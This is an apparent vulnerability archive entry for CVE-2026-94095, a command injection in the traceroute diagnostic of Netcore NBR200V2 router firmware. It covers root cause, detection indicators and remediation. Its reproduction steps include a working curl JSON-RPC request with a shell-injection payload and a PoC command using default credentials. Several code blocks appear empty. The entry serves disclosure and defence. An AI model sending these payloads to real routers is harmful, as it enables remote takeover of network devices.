Netcore NBR200V2 Traceroute Diagnostic Command Injection (CVE-2026-94095)
Published: 2026-11-25 • Researcher: HackSpeak (mirror repository owner); original disclosure by an independent researcher (see references)
- Severity
- Critical
- CVE
- CVE-2026-94095
- Category
- network
- Affected product
- Netcore NBR200V2 enterprise router firmware — traceroute diagnostic feature in /usr/bin/network_tools
- Affected versions
- Firmware V1.3.241127.071246 (NVD lists no structured product/version ranges for this CVE — see references)
- Disclosed
- 2026-11-25
- Patch status
- Unverified
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-94095
- https://github.com/HackSpeak/CVE-2026-94095
- https://vuldb.com/cve/CVE-2026-94095
- https://vuldb.com/vuln/408024
- https://vuldb.com/submit/892986
- https://app.notion.com/p/Netcore-NBR200V2-Vul-3-39f797159f15802296c7f6e110363435
- https://www.cve.org/CVERecord?id=CVE-2026-94095
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-09-21 |
| Author / Researcher | HackSpeak (mirror repository owner); original disclosure by an independent researcher (see references) |
| CVE / Advisory | CVE-2026-94095 |
| Category | network |
| Severity | Critical |
| CVSS Score | 9.9 (CVSSv3.1; CVSS 4.0: 8.6, CVSS 2.0: 9.0 per the upstream README; full vector not listed in the worklist data — see references) |
| Status | PoC |
| Tags | command-injection, OS-command-injection, RCE, Netcore, NBR200V2, router, firmware, ubus, JSON-RPC, traceroute, embedded, network |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Netcore NBR200V2 enterprise router firmware — traceroute diagnostic feature in /usr/bin/network_tools |
| Versions Affected | Firmware V1.3.241127.071246 (NVD lists no structured product/version ranges for this CVE — see references) |
| Language / Platform | Python 3 (PoC, stdlib only); Linux-based embedded firmware on the router |
| Authentication Required | Partial — a valid low-privilege ubus session (sid) is required; with weak/default credentials it can be obtained via the session login method |
| Network Access Required | Yes — HTTP POST to /ubus on the router management interface |
Summary
CVE-2026-94095 is an OS command injection in the traceroute diagnostic feature of Netcore NBR200V2 firmware V1.3.241127.071246. The ubus JSON-RPC handler for the traceroute method passes an attacker-controlled url value into a shell command that is executed with system(), so metacharacters such as semicolon, ampersand, pipe and comment are honored. A remote attacker who can reach the ubus endpoint and holds a low-privilege session can run arbitrary shell commands on the device, reboot it, or attempt full compromise; the vendor was contacted early but did not respond, and no patch was available at disclosure.
Vulnerability Details
Root Cause
The ubus method tools_traceroute (dispatched through sub_401BD8) parses the JSON-RPC parameters and forwards the caller-supplied url to tools_traceroute(). That function builds a shell command with snprintf and executes it via system():
| |
The url argument is inserted without any filtering or escaping, and the command is handed to a shell. This is CWE-74 / CWE-77 (OS command injection). The vulnerable pattern is structurally identical to the ping diagnostic issue in the same binary.
Attack Vector
An attacker sends a JSON-RPC POST to the router’s /ubus endpoint, calling the network_tools object’s tools_traceroute method with action start and a crafted url value such as 127.0.0.1;id;#. The trailing # comments out the remainder of the generated command template so the injected command runs cleanly. The prerequisite is a valid low-privilege sid (or valid credentials, which the PoC can use to request one).
Impact
Arbitrary command execution in the context of the diagnostic service, which the upstream README describes as running with the device’s highest privileges (root by default). An attacker can read or alter device configuration, reboot the device, disable security controls, persist on the firmware, or use the router as a pivot into adjacent networks. The traceroute output is redirected to /tmp/traceroute.txt, so the injection itself is blind unless the attacker chains a command that writes a reachable artifact or opens a reverse connection.
Environment / Lab Setup
OS: Any host running Python 3 (PoC has zero third-party dependencies)
Target: Netcore NBR200V2 router, firmware V1.3.241127.071246 (lab/disposable device)
Attacker: Python 3.6+ with network access to the router management interface
Tools: python3, curl (optional), a valid ubus sid or admin credentialsSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
- Obtain a ubus session — either reuse a sid captured from an authenticated management session, or let the PoC log in with valid credentials:Shell script
1python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "id" - Craft the injection — the PoC builds the url value as
127.0.0.1;<command>;#, where the comment marker removes the rest of the traceroute template. - Send the JSON-RPC call — POST to the target’s /ubus endpoint:Shell script
1 2curl -s http://192.168.1.1/ubus -X POST -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;id;#","max_hop":1,"wanid":0}]}' - Observe the effect — because output is redirected to /tmp/traceroute.txt, verify with an out-of-band check (reverse connection, a file written to a readable location, or a device-side action such as a reboot).
Exploit Code
See
poc.pyin this folder. The technical disclosure with decompiled call chain is inCVE-2026-94095.md.
| |
Expected Output
[*] injecting: id
[*] HTTP 200
{"jsonrpc":"2.0","id":20,"result":[0,{}]}The JSON body above is the typical ubus success shape and may differ by firmware; the PoC prints whatever the device returns (up to 1000 characters).
Success means the RPC returned normally while the injected command ran asynchronously in the background; the traceroute template itself does not return command output. A reboot injected in place of id should make the device stop responding and restart.
Detection & Indicators of Compromise
- HTTP requests to /ubus whose JSON body references tools_traceroute with a url value containing
;,&&,|, backticks,$(or#. - Requests where the url parameter does not start with a valid IP address or hostname but includes shell syntax.
- Requests from unusual source addresses to the management interface, especially followed by a reboot or a configuration change.
- Device artifacts: /tmp/traceroute.txt and /tmp/.tracroute_end appearing after diagnostic calls; unexpected processes spawned as children of network_tools.
- Unexpected device reboots, new firewall/NAT rules, or outbound connections from the router that were not administrator-initiated.
SIEM / IDS rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | No vendor patch was available at disclosure; track Netcore NBR200V2 firmware updates and verify fixes for CVE-2026-94095/94096/94097 together. |
| Workaround | Do not expose the management interface to untrusted networks; remove WAN-side management mappings and block /ubus from user segments. Disable the traceroute diagnostic feature if it is not required. |
| Config Hardening | Change default credentials, enforce strong rotated passwords (ubus authentication is the prerequisite), restrict ubus/management to a dedicated operations VLAN, and monitor diagnostic RPC calls. |
References
Notes
Auto-ingested from https://github.com/HackSpeak/CVE-2026-94095 on 2026-11-25.
Review verdict: this is a genuine PoC with executable exploit code (poc.py sends the ubus JSON-RPC injection and supports arbitrary commands), not a detector/scanner. It is limited in two ways, so Status is PoC rather than Weaponized: a valid low-privilege ubus session (sid) or credentials are required, and the injection is blind because the traceroute template redirects output to /tmp/traceroute.txt. The upstream README states the vendor was contacted early and never responded; no patch was available at disclosure. Related same-binary issues CVE-2026-94096 (LAN IP configuration path) and CVE-2026-94097 (CGI diagnostic endpoint) share the unsafe pattern and are not covered by this entry.
License: MIT (Copyright (c) 2026 HackSpeak), included as LICENSE. The repository is a distribution mirror; the original technical disclosure was published by an independent researcher credited only generically upstream, so attribution beyond the repo owner is “see references”. No binaries, firmware images, or locked dependency files were copied. Files archived: poc.py, CVE-2026-94095.md, metadata README shortened/renamed to upstream-README.md, LICENSE.
Run only against router hardware you own or are explicitly authorized to test; the injected reboot command reboots the device immediately.
| |